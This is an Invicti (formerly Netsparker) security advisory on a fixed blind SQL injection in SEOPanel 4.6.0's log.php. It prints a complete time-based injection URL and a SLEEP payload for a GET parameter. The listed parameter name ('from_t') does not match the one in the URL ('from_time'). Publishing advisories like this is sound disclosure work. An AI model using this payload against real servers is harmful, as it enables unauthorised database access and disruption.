Information
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Advisory by Netsparker (now Invicti)
Name: SQL Injection Vulnerability in SEOPanel
Affected Software: SEOPanel
Affected Versions: 4.6.0
Vendor Homepage: https://www.seopanel.org/
Vulnerability Type: SQL Injection
Severity: Critical
Status: Fixed
CVSS Score (3.0): AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:H
Invicti Advisory Reference: NS-20-006

Technical Details
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Blind SQLI in log.php

URL: http://localhost:8080/log.php?cat_type&from_time=%27%2b((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))%2b%27&keyword=&sec=mail&status=success&to_time=2020-09-11
Parameter Name: from_t
Parameter Type: GET
Attack: '+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

For more information on SQL Injection vulnerabilities read the article What is the SQL Injection Vulnerability & How to Prevent it?.

Advisory Timeline
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2nd November 2020 - First Contact
30th November  2020 - Vendor Fixed
28th December 2020 - Advisory Released

Credits & Authors
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These issues have been discovered by Timur Guvenkaya while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.